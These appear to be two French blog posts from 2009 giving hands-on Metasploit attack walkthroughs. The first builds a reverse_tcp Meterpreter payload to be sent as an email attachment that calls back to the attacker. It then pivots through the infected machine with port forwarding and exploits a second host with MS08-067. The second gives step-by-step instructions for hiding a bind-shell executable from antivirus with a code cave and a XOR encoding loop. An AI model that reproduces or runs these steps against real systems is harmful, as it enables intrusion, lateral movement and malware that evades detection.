dimanche 14 juin 2009

samedi 13 juin 2009

Meterpreter attack pivot [video]

meterpreter - portfwd from ne0matrix on Vimeo.



----------------------------------------------
network 1 (wifi)
R1: xx.xx.xx.xx (public IP)
NAT overload + static PAT (53, 69, 4444, 4445)
A: Laptop BT 192.168.1.8 (attacker)
----------------------------------------------
network 2
R2: NAT overload (firewall)
B: Desktop XPsp2 192.168.1.67 (target1 - pivot)
C: Laptop XPsp3 192.168.1.66 (target2)
----------------------------------------------
A ==wifi==> * R1 * ---internet--> * R2 * ==wire==> + B + ==wire==> C

----------------------------------------------
----------------------------------------------
ATTAQUE 1 (B)

Envoi par email(par ex) d'un fichier douteux (.doc-macrovba, .pdf, .jpg, etc....) qui éxécute un payload reverse tcp.

msfpayload windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 X > reverse.exe
#pour la démonstration, on a transféré le fichier via tftp
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.8
set LPORT 4444
exploit
#B éxécute reverse.exe ==> 1ere séssion meterpreter

----------------------------------------------
CONFIGURATION PIVOT sur B

portfwd add -L 127.0.0.1 -l 4445 -r 192.168.1.66 -p 445
background
route add 192.168.1.66 255.255.255.255 1
#1 étant le numéro de la séssion


----------------------------------------------
ATTAQUE 2 (C)
use windows/smb/ms08_067_netapi
set RHOST 192.168.1.66
set RPORT 445
set payload windows/meterpreter/bind_tcp
set LPORT 4445
exploit
#2e séssion meterpreter

vendredi 12 juin 2009

Execution flow hijack + XOR encryption

Execution flow hijack + XOR from ne0matrix on Vimeo.



***Based on the shmoocon demo made by Muts***

Backtrack:
msfpayload windows/shell_bind_tcp LPORT=55555 X > bindtcp.exe

Windows:
Click on the file ==> bindshell on port 55555
check: netstat -na find "55555"


PEditor
.idata: vsize:500 - rsize:400

hexedit:
+ 200 hex bytes


--------------
--OLLYdbg--
--------------

first instructions:
00401000 > 31C0 XOR EAX,EAX

00401002 68 34104000 PUSH
00401007 . 64:FF30 PUSH DWORD PTR FS:[EAX]
0040100A . 64:8920 MOV DWORD PTR FS:[EAX],ESP
0040100D . 6A 40 PUSH 40

Code cave: 00401066
start: 00401002
end: 00401060

XOR loop:
MOV EAX, 00401002 # Start of encoding address.
XOR BYTE PTR DS: [EAX], 5E # XOR the contents of EAX with the key 5E
INC EAX # Increase EAX
CMP EAX, 00401060 # Tests to see if we've reached the end of our enc
JLE SHORT xxx # If not, jump back to XOR command


After the loop:
XOR EAX,EAX (overwritten instructions)
JMP 00401002 (the address after the overwritten instructions)


------------------
Commentaires
------------------


1- Créer un payload bind_tcp
msfpayload windows/shell_bind_tcp LPORT=55555 X > bindtcp.exe (par exemple)

2- Le scanner via virustotal (résultat...)
3- Cliquer sur le payload et vérifier que le port un ouvert
netstat -na find "55555"

4- Exécuter le payload dans PEditor
-Modifier la section .idata
vsize:500 & rsize:400
Elle doit être readable, writable et executable.
-Modifier la section .text (readable, Writable et executable)
Enregistrer

5- Ouvrir le payload avec Hexedit
-Ajouter 200 hex bytes
Puisque (initial-rsize=200, actual-rsize=400 ) 400-200 ==> 200.
Enregistrer

6- Lancer le payload via Ollydbg
-Copier les 1eres instructions dans notepad (pour repérer les instructions qui seront remplacées)
-Trouver un espace libre pour le "code-cave"
-Retouner à l'OEP(entrypoint/début), remplacer la 1ere instruction par "JMP adresse-du-code-cave"
-Définir/repérer l'adresse à laquelle doit commencer l'encodage
-Définir/repérer l'adresse à laquelle doit se terminer l'encodage, et modifier la boucle ASM avec ces adresses.
-Après la boucle, introduire l'instruction (les instructions) qui a été remplacée par le JMP du début.
-Et terminer par un 2e JMP vers l'adresse [00401002] qui suit l'instruction remplacée